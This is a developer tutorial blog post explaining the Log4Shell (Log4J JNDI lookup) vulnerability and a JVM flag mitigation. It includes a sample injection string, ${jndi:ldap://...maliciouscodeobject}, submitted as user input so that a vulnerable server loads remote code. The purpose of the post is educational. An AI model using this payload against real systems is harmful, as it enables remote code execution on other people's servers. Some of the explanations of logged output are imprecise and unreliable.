by BehindJava

Log4J Vulnerability (Log4Shell) Explained - for Java developers

Home » java » Log4J Vulnerability (Log4Shell) Explained - for Java developers

In this tutorial, we will see a detailed explanation of what exactly this Log4J vulnerability is and why it happened.

It has been a bit surreal seeing log4j in the news and it is on the news headlines, even time magazine has an article stating “what is Log4J” .Even when the Equifax hack happened news mainly covered the data breach and stats wasn’t so much in the headlines. But this classic java library hitting mainstream feels so odd.

We will have a glance at something more important i.e., vulnerabilities come and go and likely get patched, people will move on and life will likely go on.

Log4J is a popular Java logging library that can be used for logging stuff in the application development to keep track or record the running application into files. when something goes wrong with the error messages, debug messages make troubleshooting easy.

There are different logging libraries in Java that seem to be a mess always, among which Log4J was the one which was its job doing pretty well for many years.

But there was a dark secret that is hidden under the surface i.e., a major security vulnerability that’s now come into open and we have a big issue in our hands that any Java application that uses Log4J can be hacked i.e., anything lower than the recently patched version which is 2.16 and it resulted in enterprises racing to patch their Log4J versions and redeploy with the new versions and also results in hackers racing to exploit the targets before its set into prices do a patch.

Due to Log4J’s popularity even if you are not using Log4J in the application. The other libraries use Log4J either directly or indirectly. Considering this there is a good chance that any decently sized Java application running out there probably has the Log4J installed on it. There is a developer security company called SNYK has found that about 60 plus percent of the Java applications that they scanned uses Log4J indirectly. So now this is a widespread problem with too high severity and it is rated 10 out of 10 in the CVSS(Common Vulnerability Scoring System) score. Why is it rated 10 out of 10 in CVSS because this vulnerability enables RCE i.e., Remote Code Execution? RCE allows hackers to run any code by hacking into your application which uses Log4J. That’s why this vulnerability is named as Log4Jshell which means hackers can directly access the shell on any server and issue commands.

There are lots of reasons and multiple things that happened that resulted in Log4J into this vulnerability. Let’s look into them in detail.

Feature 1:

Log4J allows you to log expressions

Example: String Interpolation

final Logger loggger = LogManager.getLogger(...);
logger.error("Error message: {}",error.getMessage());

In this first line, we are getting the logger and in the second line, we are logging an error using logger error. What we are doing here is plugging in the error message from the error object into the string. So Java is going to run the piece of code and gets the error message and sends this value then Log4J is going to plug that thing into this string. Now you get an output that contains “Error message: {}“,error.getMessage(). As far as value is being passed this is standard logging and there is nothing special about this.

Feature 2

Java Naming and Directory Interface(JNDI)

JNDI allows you to store Java objects in a remote location and serialize them and stream them to your JVM. This is pre-rest API popularity and this was a distributed Java system that would work and communicate with each other.

Example: LDAP URL: ldap://192.168.2.23:8000/O=Deepak,C=US

We can invoke this URL and can get a serialized Java object from somewhere else in this case it would be our profile object that we are going to get from the active directory and this is a Java feature that’s been on the platform for years you can disable it or encouraged to disabled it but it hasn’t been removed from Java yet because Java never deprecates anything and it strives for so much backward compatibility that even our great grandmothers Java code can run with the latest JVM and latest Java compiler.

Feature 3

Java Naming and Directory Interface(JNDI) lookups in log messages

In 2013 a contributor introduced a change to Log4J that allowed you to do JNDI lookups from the logging message and good use case to discuss this is a centralized log configuration from a config server and you want to serialize that configuration using JNDI and have that effect log messages like said logging path or prefix messages with a certain value etc.

final Logger logger = LogManager.getLogger(...);
logger.error("{}: Error {}", "${jndi:ldap://logconfig/prefix}", error.getMessage());

In the above code, we are getting a prefix for logging the message from JNDI bypassing the JNDI URL as a string value argument but this is not something that Java resolves but in actual we are passing it to Log4J and Log4J does lookups for certain types of strings. For example

logger.error("Insert String here: {}", "Hello from BehindJava");

In the above line of code, you have an old string like “Hello from BehindJava” and in this case, it inserts the string in the curly braces so we can see the output as Insert String here: {Hello from BehindJava}.

However, if the string that you’re passing as an argument has this special syntax which is ${}… shown in the above code snippet then this is a clue for Log4J to look it up and it says this is a JNDI lookup and it looks up the value and it is going to insert that in the double curlies for the template string and another example is environment variables.

logger.error("Looks up the value and insert: {}", "${env:ENV_VALUE}");

In the above case, it is going to realize that it is an environment variable lookup so it is going to insert the values into double curlies, and this is a vulnerability.

Let’s say you have a search page and the user can enter search criteria and submit it to the application and here in the backend we will be using a logger probably like this.

final Logger logger = LogManager.getLogger(...);
logger.error("Search Criteria: Search Issued for {}", searchTextInput);

So log would be saved as the Search Criteria: Search Issued for {search criteria} and you may wonder what is the vulnerability here. Now imagine your search term as this i.e., ${jndi:ldap://app-bypass-ldap/maliciouscodeobject} and when we search for this term, it makes a JNDI request to the whatever domain I have passed since it is a JNDI URL it is going to make a JNDI call to the URL we have passed and it is going to get back the malicious object back. This enables the hacker to instantiate the object of their malicious code in any JVM out there and can get control of anything and this also refers to as RCE(Remote Code Execution) and it is similar to the SQL injection in which we can pass the malicious things in the query parameter which ends the SQL statements and starts a new SQL statement.

com.sun.jndi.ldap.object.trustURLCodebase=false
com.sun.jndi.rmi.object.trustURLCodebase=false

To overcome RCE we can set these JVM flags as False so that JVM validates the code base that is coming from outside.